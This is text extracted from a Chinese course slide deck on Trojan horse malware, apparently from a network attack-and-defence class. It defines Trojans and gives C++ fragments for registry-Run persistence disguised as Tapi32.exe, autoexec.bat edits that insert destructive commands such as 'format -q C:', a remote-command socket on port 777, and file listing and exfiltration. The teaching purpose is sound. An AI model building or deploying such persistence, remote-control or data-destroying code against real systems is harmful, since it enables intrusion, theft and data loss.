第5章恶意代码题材.ppt

——欺骗与隐藏;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;词源 特洛伊木马——Trojan Horse 来源于古希腊的神话故事“木马记” 在计算机领域，特洛伊木马被认为是隐藏在系统中一段具有特殊功能的恶意代码。;定义 特洛伊木马是一种基于远程控制的黑客工具 其实质是C/S结构的网络程序 特点;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;;;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;网络攻防技术;;;;;;;;;;;;;如何实现第一次以后的自动加载？ 注册表 代码功能： HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ %System%\\Tapi32;CopyFile( commandline, SystemPath+\\Tapi32.exe, FALSE); //将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来 registry-Open(HKEY_LOCAL_MACHINE,Software\\Microsoft\\Windows\\CurrentVersion\\Run); registry-QueryValue(TempPath,crossbow, lRegLength); registry-SetValue(SystemPath+\\Tapi32.exe, crossbow );;Autoexec.bat和Config.sys 代码： _chmod(c:\\autoexec.bat, S_IREAD | S_IWRITE); _chmod(c:\\config.sys, S_IREAD | S_IWRITE); fwrite(content,sizeof(char),strlen(content),fp); //写入添加的语句，例如deltree -y C:或者format –q C:;网络攻防技术;启动Server端的Socket来接收客户端的命令。 Port 777 核心代码： pSocket-Receive( lpBuf, 1000); //接收客户端数据 if(strnicmp(lpBuf,CMD:,4) == 0){ ExecuteCommand( lpBuf , FALSE); }//执行远端应用程序 else if(strnicmp(lpBuf,!SHUT,5) == 0){ SendText( Exit program!, pSocket ); OnExit(); }//退出木马程序;; CFileFind finder; BOOL bWorking = finder.FindFile(*.*); while (bWorking) //循环得到下一层文件或目录 { bWorking = finder.FindNextFile(); if ( finder.IsDots() || finder.IsDirectory() ){ strResult = Dire: ; }else{ strResult = File: ; } strResult += finder.GetFileName(); strResult += \n; } SendText( strResult, pSocket ); //返回Return_Text变量的内容 ;int Read_Num=fread(temp_content, 1, 300, fp); //从目标文件中读入前300个字符 while(Read_Num==300) { strResult += (CString)temp_content; //strResult的内容加上刚才的字符 for(int i=0;i300;i++) temp_content[i]=\0; Read_Num=fread(temp_content, 1, 300, fp); //重复 };;mciSendString（“set cdaudio door open”， NULL， 0， NULL）;//弹出光驱的托盘 mciSendString（Set cdaudio door closed wait， NULL， 0， NULL）;//收入光驱的托盘;//Win9x重启 E